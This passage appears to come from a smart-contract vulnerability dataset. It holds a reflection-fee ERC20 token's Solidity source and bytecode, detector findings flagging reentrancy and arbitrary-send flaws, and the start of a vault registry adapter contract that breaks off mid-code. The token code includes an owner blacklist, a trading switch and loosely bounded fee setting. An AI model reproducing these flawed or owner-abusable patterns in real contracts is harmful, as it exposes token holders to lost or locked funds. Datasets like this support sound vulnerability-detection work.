payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(!_removeTxLimit){ require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(!_removeTxLimit){ require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function setRemoveTxLimit(bool enable) external onlyOwner{ _removeTxLimit = enable; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461054e578063dd62ed3e1461056e578063ea1644d5146105b4578063f2fde38b146105d457600080fd5b8063a2a957bb146104c9578063a9059cbb146104e9578063bfd7928414610509578063c3c8cd801461053957600080fd5b80638f70ccf7116100d15780638f70ccf7146104735780638f9a55c01461049357806395d89b411461020957806398a5c315146104a957600080fd5b806374010ece146103f25780637d1db4a5146104125780637f2feddc146104285780638da5cb5b1461045557600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103885780636fc3eaec146103a857806370a08231146103bd578063715018a6146103dd57600080fd5b80632fd689e314610316578063313ce5671461032c57806349bd5a5e146103485780636b9990531461036857600080fd5b8063095ea7b3116101b6578063095ea7b3146102695780631694505e1461029957806318160ddd146102d157806323b872dd146102f657600080fd5b8062b8cf2a146101e757806306fdde0314610209578063093bb7201461024957600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a47565b6105f4565b005b34801561021557600080fd5b50604080518082018252600881526726aaa9a5aaa620a960c11b602082015290516102409190611b0c565b60405180910390f35b34801561025557600080fd5b50610207610264366004611b71565b61071a565b34801561027557600080fd5b50610289610284366004611b8c565b610762565b6040519015158152602001610240565b3480156102a557600080fd5b506013546102b9906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102dd57600080fd5b50670de0b6b3a76400005b604051908152602001610240565b34801561030257600080fd5b50610289610311366004611bb8565b610779565b34801561032257600080fd5b506102e860175481565b34801561033857600080fd5b5060405160098152602001610240565b34801561035457600080fd5b506014546102b9906001600160a01b031681565b34801561037457600080fd5b50610207610383366004611bf9565b6107e2565b34801561039457600080fd5b506102076103a3366004611b71565b61082d565b3480156103b457600080fd5b50610207610875565b3480156103c957600080fd5b506102e86103d8366004611bf9565b6108a2565b3480156103e957600080fd5b506102076108c4565b3480156103fe57600080fd5b5061020761040d366004611c16565b610938565b34801561041e57600080fd5b506102e860155481565b34801561043457600080fd5b506102e8610443366004611bf9565b60116020526000908152604090205481565b34801561046157600080fd5b506000546001600160a01b03166102b9565b34801561047f57600080fd5b5061020761048e366004611b71565b61097a565b34801561049f57600080fd5b506102e860165481565b3480156104b557600080fd5b506102076104c4366004611c16565b6109d9565b3480156104d557600080fd5b506102076104e4366004611c2f565b610a08565b3480156104f557600080fd5b50610289610504366004611b8c565b610a62565b34801561051557600080fd5b50610289610524366004611bf9565b60106020526000908152604090205460ff1681565b34801561054557600080fd5b50610207610a6f565b34801561055a57600080fd5b50610207610569366004611c61565b610aa5565b34801561057a57600080fd5b506102e8610589366004611ce5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c057600080fd5b506102076105cf366004611c16565b610b46565b3480156105e057600080fd5b506102076105ef366004611bf9565b610b75565b6000546001600160a01b031633146106275760405162461bcd60e51b815260040161061e90611d1e565b60405180910390fd5b60005b81518110156107165760145482516001600160a01b039091169083908390811061065657610656611d53565b60200260200101516001600160a01b0316141580156106a7575060135482516001600160a01b039091169083908390811061069357610693611d53565b60200260200101516001600160a01b031614155b15610704576001601060008484815181106106c4576106c4611d53565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061070e81611d7f565b91505061062a565b5050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161061e90611d1e565b60148054911515600160b81b0260ff60b81b19909216919091179055565b600061076f338484610c5f565b5060015b92915050565b6000610786848484610d83565b6107d884336107d385604051806060016040528060288152602001611e97602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112e1565b610c5f565b5060019392505050565b6000546001600160a01b0316331461080c5760405162461bcd60e51b815260040161061e90611d1e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108575760405162461bcd60e51b815260040161061e90611d1e565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461089557600080fd5b4761089f8161131b565b50565b6001600160a01b03811660009081526002602052604081205461077390611355565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161061e90611d1e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161061e90611d1e565b6611c37937e08000811161097557600080fd5b601555565b6000546001600160a01b031633146109a45760405162461bcd60e51b815260040161061e90611d1e565b601454600160a01b900460ff16156109bb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161061e90611d1e565b601755565b6000546001600160a01b03163314610a325760405162461bcd60e51b815260040161061e90611d1e565b60095482111580610a455750600b548111155b610a4e57600080fd5b600893909355600a91909155600955600b55565b600061076f338484610d83565b6012546001600160a01b0316336001600160a01b031614610a8f57600080fd5b6000610a9a306108a2565b905061089f816113d9565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161061e90611d1e565b60005b82811015610b40578160056000868685818110610af157610af1611d53565b9050602002016020810190610b069190611bf9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3881611d7f565b915050610ad2565b50505050565b6000546001600160a01b03163314610b705760405162461bcd60e51b815260040161061e90611d1e565b601655565b6000546001600160a01b03163314610b9f5760405162461bcd60e51b815260040161061e90611d1e565b6001600160a01b038116610c045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061e565b6001600160a01b038216610d225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610de75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061e565b6001600160a01b038216610e495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061e565b60008111610eab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061e565b6000546001600160a01b03848116911614801590610ed757506000546001600160a01b03838116911614155b156111da57601454600160a01b900460ff16610f70576000546001600160a01b03848116911614610f705760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061e565b601454600160b81b900460ff16610fd357601554811115610fd35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061e565b6001600160a01b03831660009081526010602052604090205460ff1615801561101557506001600160a01b03821660009081526010602052604090205460ff16155b61106d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061e565b6014546001600160a01b0383811691161461110357601454600160b81b900460ff1661110357601654816110a0846108a2565b6110aa9190611d98565b106111035760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061e565b600061110e306108a2565b6017546015549192508210159082106111275760155491505b80801561113e5750601454600160a81b900460ff16155b801561115857506014546001600160a01b03868116911614155b801561116d5750601454600160b01b900460ff165b801561119257506001600160a01b03851660009081526005602052604090205460ff16155b80156111b757506001600160a01b03841660009081526005602052604090205460ff16155b156111d7576111c5826113d9565b4780156111d5576111d54761131b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061121c57506001600160a01b03831660009081526005602052604090205460ff165b8061124e57506014546001600160a01b0385811691161480159061124e57506014546001600160a01b03848116911614155b1561125b575060006112d5565b6014546001600160a01b03858116911614801561128657506013546001600160a01b03848116911614155b1561129857600854600c55600954600d555b6014546001600160a01b0384811691161480156112c357506013546001600160a01b03858116911614155b156112d557600a54600c55600b54600d555b610b4084848484611553565b600081848411156113055760405162461bcd60e51b815260040161061e9190611b0c565b5060006113128486611db0565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610716573d6000803e3d6000fd5b60006006548211156113bc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061e565b60006113c6611581565b90506113d283826115a4565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142157611421611d53565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149e9190611dc7565b816001815181106114b1576114b1611d53565b6001600160a01b0392831660209182029290920101526013546114d79130911684610c5f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611510908590600090869030904290600401611de4565b600060405180830381600087803b15801561152a57600080fd5b505af115801561153e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611560576115606115e6565b61156b848484611614565b80610b4057610b40600e54600c55600f54600d55565b600080600061158e61170b565b909250905061159d82826115a4565b9250505090565b60006113d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174b565b600c541580156115f65750600d54155b156115fd57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061162687611779565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165890876117d6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116879086611818565b6001600160a01b0389166000908152600260205260409020556116a981611877565b6116b384836118c1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116f891815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061172682826115a4565b82101561174257505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361176c5760405162461bcd60e51b815260040161061e9190611b0c565b5060006113128486611e55565b60008060008060008060008060006117968a600c54600d546118e5565b92509250925060006117a6611581565b905060008060006117b98e87878761193a565b919e509c509a509598509396509194505050505091939550919395565b60006113d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e1565b6000806118258385611d98565b9050838110156113d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061e565b6000611881611581565b9050600061188f838361198a565b306000908152600260205260409020549091506118ac9082611818565b30600090815260026020526040902055505050565b6006546118ce90836117d6565b6006556007546118de9082611818565b6007555050565b60008080806118ff60646118f9898961198a565b906115a4565b9050600061191260646118f98a8961198a565b9050600061192a826119248b866117d6565b906117d6565b9992985090965090945050505050565b6000808080611949888661198a565b90506000611957888761198a565b90506000611965888861198a565b905060006119778261192486866117d6565b939b939a50919850919650505050505050565b60008260000361199c57506000610773565b60006119a88385611e77565b9050826119b58583611e55565b146113d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089f57600080fd5b8035611a4281611a22565b919050565b60006020808385031215611a5a57600080fd5b823567ffffffffffffffff80821115611a7257600080fd5b818501915085601f830112611a8657600080fd5b813581811115611a9857611a98611a0c565b8060051b604051601f19603f83011681018181108582111715611abd57611abd611a0c565b604052918252848201925083810185019188831115611adb57600080fd5b938501935b82851015611b0057611af185611a37565b84529385019392850192611ae0565b98975050505050505050565b600060208083528351808285015260005b81811015611b3957858101830151858201604001528201611b1d565b81811115611b4b576000604083870101525b50601f01601f1916929092016040019392505050565b80358015158114611a4257600080fd5b600060208284031215611b8357600080fd5b6113d282611b61565b60008060408385031215611b9f57600080fd5b8235611baa81611a22565b946020939093013593505050565b600080600060608486031215611bcd57600080fd5b8335611bd881611a22565b92506020840135611be881611a22565b929592945050506040919091013590565b600060208284031215611c0b57600080fd5b81356113d281611a22565b600060208284031215611c2857600080fd5b5035919050565b60008060008060808587031215611c4557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c7657600080fd5b833567ffffffffffffffff80821115611c8e57600080fd5b818601915086601f830112611ca257600080fd5b813581811115611cb157600080fd5b8760208260051b8501011115611cc657600080fd5b602092830195509350611cdc9186019050611b61565b90509250925092565b60008060408385031215611cf857600080fd5b8235611d0381611a22565b91506020830135611d1381611a22565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d9157611d91611d69565b5060010190565b60008219821115611dab57611dab611d69565b500190565b600082821015611dc257611dc2611d69565b500390565b600060208284031215611dd957600080fd5b81516113d281611a22565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e345784516001600160a01b031683529383019391830191600101611e0f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e7257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e9157611e91611d69565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220569f5729292a3cccfec0fee5ad313a31c8ad27289fb2f6621147c4dbfceeee6164736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
510
0xe830d48028ec4cdb771ce4261fa528b88f6a6adf
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; /******************************************************* * Interfaces *******************************************************/ interface IV2Vault { function token() external view returns (address); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function apiVersion() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function emergencyShutdown() external view returns (bool); function depositLimit() external view returns (uint256); } interface IV2Registry { function numTokens() external view returns (uint256); function numVaults(address token) external view returns (uint256); function tokens(uint256 tokenIdx) external view returns (address); function latestVault(address token) external view returns (address); function vaults(address token, uint256 tokenIdx) external view returns (address); } interface IAddressesGenerator { function assetsAddresses() external view returns (address[] memory); function assetsLength() external view returns (uint256); function registry() external view returns (address); function getPositionSpenderAddresses() external view returns (address[] memory); } interface IOracle { function getNormalizedValueUsdc(address tokenAddress, uint256 amount) external view returns (uint256); function getPriceUsdcRecommended(address tokenAddress) external view returns (uint256); } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function allowance(address spender, address owner) external view returns (uint256); } interface IHelper { // Strategies helper function assetStrategiesDelegatedBalance(address) external view returns (uint256); // Allowances helper struct Allowance { address owner; address spender; uint256 amount; address token; } function allowances( address ownerAddress, address[] memory tokensAddresses, address[] memory spenderAddresses ) external view returns (Allowance[] memory); } /******************************************************* * Adapter Logic *******************************************************/ contract RegisteryAdapterV2Vaults { /******************************************************* * Common code shared by all adapters *******************************************************/ IOracle public oracle; // The oracle is used to fetch USDC normalized pricing data IHelper public helper; // A helper utility is used for batch allowance fetching and address array merging IAddressesGenerator public addressesGenerator; // A utility for fetching assets addresses and length address public fallbackContractAddress; // Optional fallback proxy /** * High level static information about an asset */ struct AssetStatic { address id; // Asset address string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET") string name; // Asset Name string version; // Asset version Token token; // Static asset underlying token information } /** * High level dynamic information about an asset */ struct AssetDynamic { address id; // Asset address string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET") address tokenId; // Underlying token address; TokenAmount underlyingTokenBalance; // Underlying token balances AssetMetadata metadata; // Metadata specific to the asset type of this adapter } /** * Static token data */ struct Token { address id; // Token address string name; // Token name string symbol; // Token symbol uint8 decimals; // Token decimals } /** * Information about a user's position relative to an asset */ struct Position { address assetId; // Asset address address tokenId; // Underlying asset token address string typeId; // Position typeId (for example "DEPOSIT," "BORROW," "LEND") uint256 balance; // asset.balanceOf(account) TokenAmount accountTokenBalance; // User account balance of underlying token (token.balanceOf(account)) TokenAmount underlyingTokenBalance; // Represents a user's asset position in underlying tokens Allowance[] tokenAllowances; // Underlying token allowances Allowance[] assetAllowances; // Asset allowances } /** * Token amount representation */ struct TokenAmount { uint256 amount; // Amount in underlying token decimals uint256 amountUsdc; // Amount in USDC (6 decimals) } /** * Allowance information */ struct Allowance { address owner; // Allowance owner address spender; // Allowance spender uint256 amount; // Allowance amount (in underlying token) } /** * Information about the adapter */ struct AdapterInfo { address id; // Adapter address string typeId; // Adapter typeId (for example "VAULT_V2" or "IRON_BANK_MARKET") string categoryId; // Adapter categoryId (for example "VAULT") } /** * Fetch static information about an array of assets. This method can be used for off-chain pagination. */ function assetsStatic(address[] memory _assetsAddresses) public view returns (AssetStatic[] memory) { uint256 numberOfAssets = _assetsAddresses.length; AssetStatic[] memory _assets = new AssetStatic[](numberOfAssets); for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) { address assetAddress = _assetsAddresses[assetIdx]; AssetStatic memory _asset = assetStatic(assetAddress); _assets[assetIdx] = _asset; } return _assets; } /** * Fetch dynamic information about an array of assets. This method can be used for off-chain pagination. */ function assetsDynamic(address[] memory _assetsAddresses) public view returns (AssetDynamic[] memory) { uint256 numberOfAssets = _assetsAddresses.length; AssetDynamic[] memory _assets = new AssetDynamic[](numberOfAssets); for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) { address assetAddress = _assetsAddresses[assetIdx]; AssetDynamic memory _asset = assetDynamic(assetAddress); _assets[assetIdx] = _asset; } return _assets; } /** * Fetch static information for all assets */ function assetsStatic() external view returns (AssetStatic[] memory) { address[] memory _assetsAddresses = assetsAddresses(); return assetsStatic(_assetsAddresses); } /** * Fetch dynamic information for all assets */ function assetsDynamic() external view returns (AssetDynamic[] memory) { address[] memory _assetsAddresses = assetsAddresses(); return assetsDynamic(_assetsAddresses); } /** * Fetch underlying token allowances relative to an asset. * This is useful for determining whether or not a user has token approvals * to allow depositing into an asset */ function tokenAllowances(address accountAddress, address assetAddress) public view returns (Allowance[] memory) { address tokenAddress = underlyingTokenAddress(assetAddress); address[] memory tokenAddresses = new address[](1); address[] memory assetAddresses = new address[](1); tokenAddresses[0] = tokenAddress; assetAddresses[0] = assetAddress; bytes memory allowances = abi.encode( helper.allowances( accountAddress, tokenAddresses, assetAddresses ) ); return abi.decode(allowances, (Allowance[])); } /** * Fetch asset allowances based on positionSpenderAddresses (configurable). * This is useful to determine if a particular zap contract is approved for the asset (zap out use case) */ function assetAllowances(address accountAddress, address assetAddress) public view returns (Allowance[] memory) { address[] memory assetAddresses = new address[](1); assetAddresses[0] = assetAddress; bytes memory allowances = abi.encode( helper.allowances( accountAddress, assetAddresses, addressesGenerator.getPositionSpenderAddresses() ) ); return abi.decode(allowances, (Allowance[])); } /** * Fetch basic static token metadata */ function tokenMetadata(address tokenAddress) internal view returns (Token memory) { IERC20 _token = IERC20(tokenAddress); return Token({ id: tokenAddress, name: _token.name(), symbol: _token.symbol(), decimals: _token.decimals() }); } /** * Internal method for constructing a TokenAmount struct given a token balance and address */ function tokenAmount(uint256 amount, address tokenAddress) internal view returns (TokenAmount memory) { return TokenAmount({ amount: amount, amountUsdc: oracle.getNormalizedValueUsdc(tokenAddress, amount) }); } /** * Fetch the total number of assets for this adapter */ function assetsLength() public view returns (uint256) { return addressesGenerator.assetsLength(); } /** * Fetch all asset addresses for this adapter */ function assetsAddresses() public view returns (address[] memory) { return addressesGenerator.assetsAddresses(); } /** * Fetch registry address from addresses generator */ function registry() public view returns (address) { return addressesGenerator.registry(); } /** * Configure adapter */ constructor( address _oracleAddress, address _helperAddress, address _addressesGeneratorAddress, address _fallbackContractAddress ) { require(_oracleAddress != address(0), "Missing oracle address"); oracle = IOracle(_oracleAddress); helper = IHelper(_helperAddress); fallbackContractAddress = _fallbackContractAddress; addressesGenerator = IAddressesGenerator(_addressesGeneratorAddress); } /******************************************************* * Common code shared by v1 vaults, v2 vaults and earn *******************************************************/ /** * Fetch asset positions of an account given an array of assets. This method can be used for off-chain pagination. */ function assetsPositionsOf( address accountAddress, address[] memory _assetsAddresses ) public view returns (Position[] memory) { uint256 numberOfAssets = _assetsAddresses.length; Position[] memory positions = new Position[](numberOfAssets); for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) { address assetAddress = _assetsAddresses[assetIdx]; Position memory position = assetPositionsOf(accountAddress, assetAddress)[0]; positions[assetIdx] = position; } return positions; } /** * Fetch asset positions for an account for all assets */ function assetsPositionsOf(address accountAddress) external view returns (Position[] memory) { address[] memory _assetsAddresses = assetsAddresses(); return assetsPositionsOf(accountAddress, _assetsAddresses); } /******************************************************* * V2 Adapter (unique logic) *******************************************************/ /** * Return information about the adapter */ function adapterInfo() public view returns (AdapterInfo memory) { return AdapterInfo({ id: address(this), typeId: "VAULT_V2", categoryId: "VAULT" }); } /** * Metadata specific to this asset type */ struct AssetMetadata { string symbol; // Vault symbol uint256 pricePerShare; // Vault pricePerShare bool migrationAvailable; // True if a migration is available for this vault address latestVaultAddress; // Latest vault migration address uint256 depositLimit; // Deposit limit of asset bool emergencyShutdown; // Vault is in emergency shutdown mode } /** * Metadata specific to an asset type scoped to a user. * Not used in this adapter. */ struct AssetUserMetadata { address assetId; } /** * Fetch asset metadata scoped to a user */ function assetUserMetadata(address assetAddress) public view returns (AssetUserMetadata memory) {} /** * Fetch the underlying token address of an asset */ function underlyingTokenAddress(address assetAddress) public view returns (address) 